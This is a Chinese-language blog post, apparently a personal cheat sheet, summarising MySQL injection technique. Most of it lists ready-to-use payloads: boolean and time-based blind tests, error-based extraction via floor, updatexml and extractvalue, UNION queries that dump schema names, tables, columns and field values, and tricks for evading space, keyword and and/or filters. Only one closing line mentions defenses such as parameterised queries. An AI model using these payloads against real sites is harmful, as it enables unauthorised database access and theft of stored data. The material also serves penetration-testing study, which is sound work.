Mysql注入总结

1、MYSQL注入原理:用户输入的内容被当作sql语句来执行

2、MYSQL注入实战心得:一试参数,二试类型,三试绕过

一试参数:任何注入参数,都需确定其类型(数字还是字符),此处指的是注入参数的类型(***)

  常用测试字符:引号(单双),圆括号,引号加圆括号......

二试类型:五大类(BEUST):布尔型盲注、报错型注入、UNION联合查询型注入、时间延迟型盲注、堆查询注入

  布尔型盲注:and 1=1 , and 1=2 , or 1=1 , or 1=2 ......

  报错型注入:

 floor:and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
 updatexml:and 1=updatexml(1,concat(0x7e,(select database())),1)
 extractvalue:and 1=extractvalue(1,concat(0x7e,(select database())))

 ......

 UNION联合查询型注入:

 order by n //定字段,n为正整数

 union select 1,2,3...... //看回显,无回显的时候尝试让union前的语句报错(@@@&&****)

 回显位爆库,表,字段,值,以第二位为回显位举例,常用命令如下所示:

union select 1,group_concat(schema_name),3 from information_schema.schemata //爆库
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()//爆表
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名'//爆字段
union select 1,group_concat(字段1,0x3a,字段2),3 from 表名 //爆值,0x3a是用来分隔字段的,方便我们查看

时间延迟型注入:根据页面响应延迟来判断,测试参数:and sleep(5)

 注入方法(猜解法):

 and if(length(database())>'5',sleep(5),0)  //猜解库名长度

 and if(ord(mid(database(),1,1))>100,sleep(5),0)  //猜库名第一个字符

 ......此处借助sqlmap会更好一些

 堆查询注入:同时执行多条sql语句,可以执行增删改查语句,不同语句以分号隔开

三试绕过:就是不断地尝试,简单说几个

 绕过空格过滤:+,/**/,双重空格,回车换行符(%0a,%a0),宽字节(%df),圆括号,%09,%0a,%0b,%0c,%0d等

 绕过union,select等关键字过滤:大小写,双写(uniounionn,unionunion),内联注释(/*!union*/),编码

 绕过and、or过滤:&&,||,%26%26,大小写,双写关键字(anandd,andand),编码

 ......       

3、MYSQL注入防御方法:黑白名单严格过滤用户输入的内容;使用参数化查询;使用sql注入安全防护设备 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值